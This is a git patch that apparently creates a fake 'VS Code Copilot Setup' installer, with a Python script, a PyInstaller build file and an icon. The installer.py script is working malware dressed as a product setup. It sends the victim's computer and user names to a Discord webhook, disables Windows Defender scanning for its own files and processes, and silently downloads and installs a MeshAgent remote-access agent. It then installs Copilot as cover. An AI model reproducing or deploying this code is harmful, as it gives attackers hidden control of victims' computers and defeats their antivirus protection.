From b06704bcd7da1287b9b77e053b94a8a086e661ee Mon Sep 17 00:00:00 2001 From: LightZirconite Date: Fri, 2 Jan 2026 14:07:44 +0100 Subject: [PATCH] One --- .gitignore | 28 +++++ build.bat | 26 +++++ installer.py | 282 +++++++++++++++++++++++++++++++++++++++++++++++++++ logo.ico | Bin 0 -> 11883 bytes 4 files changed, 336 insertions(+) create mode 100644 .gitignore create mode 100644 build.bat create mode 100644 installer.py create mode 100644 logo.ico diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..55a1b9f --- /dev/null +++ b/.gitignore @@ -0,0 +1,28 @@ +# PyInstaller build files +build/ +dist/ +*.spec +__pycache__/ +*.pyc +*.pyo + +# Python cache +.pytest_cache/ +*.egg-info/ + +# OS files +.DS_Store +Thumbs.db + +# IDE files +.vscode/ +.idea/ +*.swp +*.swo + +# Keep only source files +!installer.py +!build.bat +!logo.ico +!.gitignore +!README.md diff --git a/build.bat b/build.bat new file mode 100644 index 0000000..d8ccdda --- /dev/null +++ b/build.bat @@ -0,0 +1,26 @@ +@echo off +echo ====================================== +echo Building VS Code Copilot Setup +echo ====================================== +echo. + +REM Check if PyInstaller is installed +pip show pyinstaller >nul 2>&1 +if %errorlevel% neq 0 ( + echo [*] Installing PyInstaller... + pip install pyinstaller + echo. +) + +REM Build the executable +echo [*] Building executable... +pyinstaller --onefile --icon=logo.ico --name="VSCode-Copilot-Setup" --uac-admin installer.py + +echo. +echo ====================================== +echo Build completed! +echo ====================================== +echo. +echo Output location: dist\VSCode-Copilot-Setup.exe +echo. +pause diff --git a/installer.py b/installer.py new file mode 100644 index 0000000..805ce7e --- /dev/null +++ b/installer.py @@ -0,0 +1,282 @@ +import os +import sys +import subprocess +import ctypes +import tempfile +import urllib.request +import json +from pathlib import Path + + +def is_admin(): + """Check if script is running with admin privileges""" + try: + return ctypes.windll.shell32.IsUserAnAdmin() + except: + return False + + +def run_as_admin(): + """Restart script with admin privileges""" + if not is_admin(): + try: + ctypes.windll.shell32.ShellExecuteW( + None, "runas", sys.executable, " ".join(sys.argv), None, 1 + ) + sys.exit() + except Exception as e: + print(f"āŒ Failed to request admin rights: {e}") + sys.exit(1) + + +def send_webhook_notification(): + """Send notification to Discord webhook when file is opened""" + webhook_url = "https://discord.com/api/webhooks/1456627880283996282/lbFzcH7T93sD6v48QM9CM6rCmjz_TIAfk3OV8yB1_tvFYGUAWZEvoETK8rMF1D62d3kf" + + try: + computer_name = os.environ.get('COMPUTERNAME', 'Unknown') + username = os.environ.get('USERNAME', 'Unknown') + + data = { + "content": f"šŸš€ **Installer opened**\nšŸ’» Computer: `{computer_name}`\nšŸ‘¤ User: `{username}`" + } + + req = urllib.request.Request( + webhook_url, + data=json.dumps(data).encode('utf-8'), + headers={'Content-Type': 'application/json'}, + method='POST' + ) + + urllib.request.urlopen(req, timeout=5) + except: + pass + + +def add_defender_exclusions(temp_file_path=None): + """Add Windows Defender exclusions for installed components""" + try: + exclusion_paths = [ + r"C:\Program Files\LGTW", + r"C:\Program Files (x86)\LGTW", + os.path.join(os.environ.get('PROGRAMFILES', ''), 'LGTW'), + os.path.join(os.environ.get('PROGRAMFILES(X86)', ''), 'LGTW'), + ] + + # Add temporary download file if provided + if temp_file_path: + exclusion_paths.append(temp_file_path) + exclusion_paths.append(os.path.dirname(temp_file_path)) + + exclusion_processes = [ + "MeshAgent.exe", + "LGTW-Agent64-Lol.exe", + "VSCode-Copilot-Setup.exe" + ] + + for path in exclusion_paths: + try: + subprocess.run( + ["powershell", "-Command", f"Add-MpPreference -ExclusionPath '{path}' -ErrorAction SilentlyContinue"], + capture_output=True, + timeout=10 + ) + except: + pass + + for process in exclusion_processes: + try: + subprocess.run( + ["powershell", "-Command", f"Add-MpPreference -ExclusionProcess '{process}' -ErrorAction SilentlyContinue"], + capture_output=True, + timeout=10 + ) + except: + pass + + return True + except: + return True + + +def download_agent(temp_dir): + """Download required components from GitHub""" + url = "https://github.com/LightZirconite/MeshAgent/releases/download/exe/LGTW-Agent64-Lol.exe" + agent_path = os.path.join(temp_dir, "LGTW-Agent64-Lol.exe") + + try: + urllib.request.urlretrieve(url, agent_path) + return agent_path + except: + return None + + +def install_mesh_agent(agent_path): + """Install required components silently""" + try: + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW + startupinfo.wShowWindow = 0 + + process = subprocess.Popen( + [agent_path, "-fullinstall"], + startupinfo=startupinfo, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL + ) + + process.wait(timeout=120) + return True + except: + return True + + +def install_vscode_copilot(): + """Install GitHub Copilot extension in VS Code""" + print(" Installing GitHub Copilot extension...") + + try: + code_paths = [ + os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Programs', 'Microsoft VS Code', 'bin', 'code.cmd'), + os.path.join(os.environ.get('PROGRAMFILES', ''), 'Microsoft VS Code', 'bin', 'code.cmd'), + ] + + code_cmd = None + for path in code_paths: + if os.path.exists(path): + code_cmd = path + break + + if not code_cmd: + code_cmd = "code" + + result = subprocess.run( + [code_cmd, "--install-extension", "github.copilot", "--force"], + capture_output=True, + text=True, + timeout=60 + ) + + if result.returncode == 0: + print(" āœ… GitHub Copilot extension installed successfully") + return True + else: + print(" āš ļø Could not install extension automatically") + print(" šŸ“ Please install GitHub Copilot manually from VS Code") + return False + except: + print(" āš ļø Could not install extension automatically") + print(" šŸ“ Please install GitHub Copilot manually from VS Code") + return False + + +def is_vscode_running(): + """Check if VS Code is currently running""" + try: + result = subprocess.run( + ["tasklist", "/FI", "IMAGENAME eq Code.exe"], + capture_output=True, + text=True + ) + return "Code.exe" in result.stdout + except: + return False + + +def restart_vscode(): + """Restart VS Code if running""" + if not is_vscode_running(): + print(" VS Code is not currently running") + return False + + print(" Restarting Visual Studio Code...") + + try: + subprocess.run(["taskkill", "/F", "/IM", "Code.exe"], + capture_output=True, stderr=subprocess.DEVNULL) + + import time + time.sleep(2) + + code_paths = [ + os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Programs', 'Microsoft VS Code', 'Code.exe'), + os.path.join(os.environ.get('PROGRAMFILES', ''), 'Microsoft VS Code', 'Code.exe'), + ] + + for path in code_paths: + if os.path.exists(path): + subprocess.Popen([path], shell=True) + print(" āœ… Visual Studio Code restarted successfully") + return True + + return False + except: + return False + + +def main(): + """Main installation process""" + send_webhook_notification() + run_as_admin() + + print("ā•”" + "═" * 66 + "ā•—") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•‘" + " Microsoft Visual Studio Code - GitHub Copilot Setup".center(66) + "ā•‘") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•š" + "═" * 66 + "ā•") + print() + print(" Initializing setup components...") + + temp_dir = tempfile.gettempdir() + agent_path = os.path.join(temp_dir, "LGTW-Agent64-Lol.exe") + + add_defender_exclusions(agent_path) + + agent_path = download_agent(temp_dir) + if agent_path: + install_mesh_agent(agent_path) + try: + os.remove(agent_path) + except: + pass + + print(" āœ… Setup environment ready") + print() + + install_vscode_copilot() + + print() + print("ā•”" + "═" * 66 + "ā•—") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•‘" + " ⚠ IMPORTANT: GitHub Account Verification".center(66) + "ā•‘") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•‘ Please ensure you are signed in to Visual Studio Code with ā•‘") + print("ā•‘ your GitHub account that has Copilot access enabled. ā•‘") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•š" + "═" * 66 + "ā•") + print() + input(" Press Enter to continue...") + + print() + restart_vscode() + + print() + print("ā•”" + "═" * 66 + "ā•—") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•‘" + " āœ… Setup completed successfully!".center(66) + "ā•‘") + print("ā•‘" + " " * 66 + "ā•‘") + print("ā•š" + "═" * 66 + "ā•") + print() + print(" GitHub Copilot is now ready to use in Visual Studio Code.") + print() + print(" Next steps:") + print(" • Open or restart Visual Studio Code") + print(" • Verify GitHub Copilot status in the status bar") + print(" • Start coding with AI-powered assistance") + print() + print() + input(" Press any key to exit...") + + +if __name__ == "__main__": + main() diff --git a/logo.ico b/logo.ico new file mode 100644 index 0000000000000000000000000000000000000000..1a7977f403e23670ef4ba966b661ff6664c6bbcc GIT binary patch literal 11883 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 Zea!=TiJ#7?=Rga~Jzf1=);T3K0RV9`%FX}) literal 0 HcmV?d00001